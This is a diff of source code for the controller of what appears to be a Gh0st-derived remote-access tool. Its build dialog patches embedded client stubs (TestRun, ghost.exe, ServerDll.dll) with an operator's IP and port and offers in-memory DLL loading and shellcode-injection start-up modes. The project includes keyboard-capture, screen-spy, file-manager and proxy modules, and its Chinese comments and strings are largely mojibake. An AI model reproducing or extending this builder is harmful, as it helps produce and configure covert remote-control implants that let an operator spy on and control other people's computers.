<None Include="..\..\x64\Release\ServerDll.dll" /> <None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="res\1.cur" /> <None Include="res\1.cur" />
<None Include="res\2.cur" /> <None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />
@@ -231,10 +239,10 @@
<None Include="res\My2015Remote.rc2" /> <None Include="res\My2015Remote.rc2" />
<None Include="res\pc.ico" /> <None Include="res\pc.ico" />
<None Include="res\string.ico" /> <None Include="res\string.ico" />
<None Include="res\upx.exe" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\client\Audio.h" /> <ClInclude Include="..\..\client\Audio.h" />
<ClInclude Include="..\..\common\commands.h" />
<ClInclude Include="2015Remote.h" /> <ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" /> <ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="AudioDlg.h" /> <ClInclude Include="AudioDlg.h" />
@@ -242,6 +250,7 @@
<ClInclude Include="BuildDlg.h" /> <ClInclude Include="BuildDlg.h" />
<ClInclude Include="CPasswordDlg.h" /> <ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CpuUseage.h" /> <ClInclude Include="CpuUseage.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="EditDialog.h" /> <ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" /> <ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" /> <ClInclude Include="FileTransferModeDlg.h" />
@@ -249,6 +258,12 @@
<ClInclude Include="InputDlg.h" /> <ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" /> <ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" /> <ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="parse_ip.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
<ClInclude Include="proxy\ProxyMapDlg.h" />
<ClInclude Include="proxy\SocketInterface.h" />
<ClInclude Include="pwd_gen.h" /> <ClInclude Include="pwd_gen.h" />
<ClInclude Include="RegisterDlg.h" /> <ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" /> <ClInclude Include="Resource.h" />
@@ -267,6 +282,12 @@
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\client\Audio.cpp" /> <ClCompile Include="..\..\client\Audio.cpp" />
<ClCompile Include="..\..\client\Loader.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="2015Remote.cpp" /> <ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" /> <ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="AudioDlg.cpp" /> <ClCompile Include="AudioDlg.cpp" />
@@ -281,6 +302,9 @@
<ClCompile Include="InputDlg.cpp" /> <ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" /> <ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" /> <ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="parse_ip.cpp" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
<ClCompile Include="pwd_gen.cpp" /> <ClCompile Include="pwd_gen.cpp" />
<ClCompile Include="RegisterDlg.cpp" /> <ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
@@ -305,12 +329,16 @@
<Text Include="..\..\ReadMe.md" /> <Text Include="..\..\ReadMe.md" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Share.bmp" /> <Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap_4.bmp" /> <Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\delete.bmp" /> <Image Include="res\delete.bmp" />
<Image Include="res\keyboard.ico" /> <Image Include="res\keyboard.ico" />
<Image Include="res\password.ico" /> <Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\proxy.ico" />
<Image Include="res\toolbar1.bmp" /> <Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" /> <Image Include="res\toolbar2.bmp" />
<Image Include="res\update.bmp" /> <Image Include="res\update.bmp" />

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup>
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
</PropertyGroup>
</Project>

View File

@@ -7,14 +7,51 @@
#include "afxdialogex.h" #include "afxdialogex.h"
#include <io.h> #include <io.h>
#define OTHER_ITEM 3 enum Index
{
IndexTestRun_DLL,
IndexTestRun_MemDLL,
IndexTestRun_InjSC,
IndexGhost,
IndexServerDll,
OTHER_ITEM
};
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
std::string GetMasterId();
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
LPBYTE ReadResource(int resourceId, DWORD &dwSize) {
dwSize = 0;
auto id = resourceId;
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
if (hResource == NULL) {
return NULL;
}
// <20><>ȡ<EFBFBD><C8A1>Դ<EFBFBD>Ĵ<EFBFBD>С
dwSize = SizeofResource(NULL, hResource);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
if (hLoadedResource == NULL) {
return NULL;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>ȡָ<C8A1><D6B8><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><D6B8>
LPVOID pData = LockResource(hLoadedResource);
if (pData == NULL) {
return NULL;
}
auto r = new BYTE[dwSize];
memcpy(r, pData, dwSize);
return r;
}
CBuildDlg::CBuildDlg(CWnd* pParent) CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent) : CDialog(CBuildDlg::IDD, pParent)
, m_strIP(_T("")) , m_strIP(_T(""))
@@ -33,8 +70,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
DDX_Text(pDX, IDC_EDIT_IP, m_strIP); DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem); DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
} }
@@ -49,152 +86,169 @@ END_MESSAGE_MAP()
void CBuildDlg::OnBnClickedOk() void CBuildDlg::OnBnClickedOk()
{ {
CFile File;
char szTemp[MAX_PATH];
ZeroMemory(szTemp,MAX_PATH);
CString strCurrentPath;
CString strFile;
CString strSeverFile;
BYTE * szBuffer=NULL;
DWORD dwFileSize;
UpdateData(TRUE); UpdateData(TRUE);
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
return;
BYTE* szBuffer = NULL;
DWORD dwFileSize = 0;
int index = m_ComboExe.GetCurSel(), typ=index; int index = m_ComboExe.GetCurSel(), typ=index;
int is64bit = m_ComboBits.GetCurSel() == 0;
if (index == IndexTestRun_InjSC && !is64bit) {
MessageBox("Shellcode ֻ<><D6BB><EFBFBD><EFBFBD>64λ<34><CEBB><EFBFBD>±<EFBFBD>ע<EFBFBD>룬ע<EBA3AC><D7A2><EFBFBD><EFBFBD>Ҳֻ<D2B2><D6BB><EFBFBD><EFBFBD>64λ!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return;
}
int startup = Startup_DLL;
CString file; CString file;
switch (index) switch (index)
{ {
case CLIENT_TYPE_DLL: case IndexTestRun_DLL: case IndexTestRun_MemDLL: case IndexTestRun_InjSC:
file = "TestRun.exe"; file = "TestRun.exe";
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
startup = std::map<int, int>{
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
}[index];
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
break; break;
case CLIENT_TYPE_ONE: case IndexGhost:
file = "ghost.exe"; file = "ghost.exe";
typ = CLIENT_TYPE_ONE;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break; break;
case CLIENT_TYPE_MODULE: case IndexServerDll:
file = "ServerDll.dll"; file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
break; break;
case OTHER_ITEM: case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file); m_OtherItem.GetWindowTextA(file);
typ = -1; typ = -1;
if (file != "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") {
CFile File;
File.Open(file, CFile::modeRead | CFile::typeBinary);
dwFileSize = File.GetLength();
if (dwFileSize > 0) {
szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
}
File.Close();
}
break;
}
default: default:
break; break;
} }
if (file.IsEmpty() || file == "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") if (szBuffer == NULL)
{ {
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD>!"); MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return CDialog::OnOK(); return;
} }
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ////////////////////// //////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 0, typ}; CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup };
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
if (!g_ConnectAddress.IsValid()) if (!g_ConnectAddress.IsValid()) {
SAFE_DELETE_ARRAY(szBuffer);
return; return;
}
g_ConnectAddress.Encrypt();
try try
{ {
//<EFBFBD>˴<EFBFBD><EFBFBD>õ<EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD>±<EFBFBD>ʶ
char path[_MAX_PATH], *p = path; char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
bool bFind = false;
int bufSize = dwFileSize;
while (ptr < end) {
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
if (iOffset == -1)
break;
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
if (result > 0) {
MessageBox("<EFBFBD>ͻ<EFBFBD><EFBFBD>˰汾<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return;
}
if (result != -2 && result <= 0)// <20>ͻ<EFBFBD><CDBB>˰汾<CBB0><E6B1BE><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>
{
bFind = true;
auto master = GetMasterId();
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
}
ptr += iOffset + sizeof(g_ConnectAddress);
bufSize -= iOffset + sizeof(g_ConnectAddress);
}
if (!bFind) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer);
return;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
while ('\\' != *p) --p; while ('\\' != *p) --p;
strcpy(p+1, file.GetString()); strcpy(p + 1, file.GetString());
strFile = typ != -1 ? path : file; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> CString strSeverFile = typ != -1 ? path : file;
if (_access(strFile, 0) == -1)
{
MessageBox(CString(strFile) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
return CDialog::OnOK();
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
dwFileSize=File.GetLength();
szBuffer=new BYTE[dwFileSize];
ZeroMemory(szBuffer,dwFileSize);
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
File.Read(szBuffer,dwFileSize);
File.Close();
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
int iOffset = MemoryFind((char*)szBuffer,(char*)g_ConnectAddress.Flag(),dwFileSize, g_ConnectAddress.FlagLen());
if (iOffset==-1)
{
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
return;
}
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)g_ConnectAddress.Flag(),
dwFileSize - iOffset - sizeof(g_ConnectAddress), g_ConnectAddress.FlagLen()) != -1) {
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
return;
}
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
//<2F><><EFBFBD><EFBFBD>ļ<EFBFBD>
if (index == CLIENT_TYPE_MODULE)
{
strcpy(p + 1, "ClientDemo.dll");
}
else {
strcpy(p + 1, "ClientDemo.exe");
}
strSeverFile = typ != -1 ? path : file;
DeleteFileA(strSeverFile); DeleteFileA(strSeverFile);
CFile File;
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
if (!r) { if (!r) {
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!"); MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򴴽<EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + strSeverFile, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return CDialog::OnOK(); SAFE_DELETE_ARRAY(szBuffer);
return;
} }
Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
File.Write(szBuffer, dwFileSize); File.Write(szBuffer, dwFileSize);
File.Close(); File.Close();
delete[] szBuffer; CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڡ<CBBF>" :
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<21>ļ<EFBFBD>λ<EFBFBD><EFBFBD>:\r\n"+ strSeverFile); index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
} }
catch (CMemoryException* e) catch (CMemoryException* e)
{ {
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!"); char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD>ڴ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>", MB_ICONERROR);
} }
catch (CFileException* e) catch (CFileException* e)
{ {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"); char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>", MB_ICONERROR);
} }
catch (CException* e) catch (CException* e)
{ {
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"); char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>", MB_ICONERROR);
} }
SAFE_DELETE_ARRAY(szBuffer);
CDialog::OnOK(); CDialog::OnOK();
} }
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
{
int i,j;
if (iKeySize == 0||iBufferSize==0)
{
return -1;
}
for (i = 0; i < iBufferSize; ++i)
{
for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break;
if (j == iKeySize) return i;
}
return -1;
}
BOOL CBuildDlg::OnInitDialog() BOOL CBuildDlg::OnInitDialog()
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe"); m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - <20><><EFBFBD><EFBFBD>DLL");
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe"); m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - <20>ڴ<EFBFBD>DLL");
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>");
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>")); m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
m_ComboExe.SetCurSel(0); m_ComboExe.SetCurSel(0);
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>"); m_ComboBits.InsertString(0, "64λ");
m_ComboEncrypt.InsertString(1, "XOR"); m_ComboBits.InsertString(1, "32λ");
m_ComboEncrypt.SetCurSel(0); m_ComboBits.SetCurSel(0);
m_ComboEncrypt.EnableWindow(FALSE);
m_OtherItem.ShowWindow(SW_HIDE); m_OtherItem.ShowWindow(SW_HIDE);
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control

View File

@@ -2,6 +2,7 @@
#include "Buffer.h" #include "Buffer.h"
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
@@ -27,7 +28,8 @@ public:
virtual BOOL OnInitDialog(); virtual BOOL OnInitDialog();
Buffer Encrypt(BYTE* buffer, int len, int method); Buffer Encrypt(BYTE* buffer, int len, int method);
CComboBox m_ComboExe; CComboBox m_ComboExe;
CComboBox m_ComboEncrypt;
afx_msg void OnCbnSelchangeComboExe(); afx_msg void OnCbnSelchangeComboExe();
CStatic m_OtherItem; CStatic m_OtherItem;
CComboBox m_ComboBits;
}; };

View File

@@ -6,17 +6,70 @@
#include "afxdialogex.h" #include "afxdialogex.h"
#include "pwd_gen.h" #include "pwd_gen.h"
#include "2015Remote.h" #include "2015Remote.h"
#include "common/skCrypter.h"
// CPasswordDlg 对话框 // CPasswordDlg 对话框
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx) IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
// 主控程序唯一标识
char g_MasterID[100] = { PWD_HASH256 };
std::string GetPwdHash(){
static auto id = std::string(g_MasterID).substr(0, 64);
return id;
}
std::string GetMasterId() {
static auto id = std::string(g_MasterID).substr(0, 16);
return id;
}
extern "C" void shrink64to32(const char* input64, char* output32); // output32 必须至少 33 字节
extern "C" void shrink32to4(const char* input32, char* output4); // output4 必须至少 5 字节
#ifdef _WIN64
#pragma comment(lib, "lib/shrink_x64.lib")
#else
#pragma comment(lib, "lib/shrink.lib")
#endif
bool WritePwdHash(char* target, const std::string & pwdHash) {
char output32[33], output4[5];
shrink64to32(pwdHash.c_str(), output32);
shrink32to4(output32, output4);
if (output32[0] == 0 || output4[0] == 0)
return false;
memcpy(target, pwdHash.c_str(), pwdHash.length());
memcpy(target + 64, output32, 32);
memcpy(target + 96, output4, 4);
#ifdef _DEBUG
ASSERT(IsPwdHashValid(target));
#endif
return true;
}
bool IsPwdHashValid(const char* hash) {
const char* ptr = hash ? hash : g_MasterID;
if (ptr == std::string(skCrypt(MASTER_HASH)))
return true;
std::string pwdHash(ptr, 64), s1(ptr +64, 32), s2(ptr +96, 4);
char output32[33], output4[5];
shrink64to32(pwdHash.c_str(), output32);
shrink32to4(output32, output4);
if (memcmp(output32, s1.c_str(), 32) || memcmp(output4, s2.c_str(), 4))
return false;
return true;
}
CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/) CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_PASSWORD, pParent) : CDialogEx(IDD_DIALOG_PASSWORD, pParent)
, m_sDeviceID(_T("")) , m_sDeviceID(_T(""))
, m_sPassword(_T("")) , m_sPassword(_T(""))
{ {
m_hIcon = nullptr;
} }
CPasswordDlg::~CPasswordDlg() CPasswordDlg::~CPasswordDlg()
@@ -101,7 +154,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
UpdateData(TRUE); UpdateData(TRUE);
if (m_sUserPwd.IsEmpty())return; if (m_sUserPwd.IsEmpty())return;
std::string pwdHash = hashSHA256(m_sUserPwd.GetString()); std::string pwdHash = hashSHA256(m_sUserPwd.GetString());
if (pwdHash != PWD_HASH256) { if (pwdHash != GetPwdHash()) {
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str()); Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING); MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
return; return;
@@ -109,7 +162,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
CString strBeginDate = m_StartTm.Format("%Y%m%d"); CString strBeginDate = m_StartTm.Format("%Y%m%d");
CString strEndDate = m_ExpireTm.Format("%Y%m%d"); CString strEndDate = m_ExpireTm.Format("%Y%m%d");
// 密码形式20250209 - 20350209: SHA256 // 密码形式20250209 - 20350209: SHA256
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + PWD_HASH256; std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash();
std::string finalKey = deriveKey(password, m_sDeviceID.GetString()); std::string finalKey = deriveKey(password, m_sDeviceID.GetString());
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") + std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") +
getFixedLengthID(finalKey); getFixedLengthID(finalKey);

View File

@@ -3,12 +3,20 @@
#include <afx.h> #include <afx.h>
#include <afxwin.h> #include <afxwin.h>
#include "Resource.h" #include "Resource.h"
#include "common/commands.h"
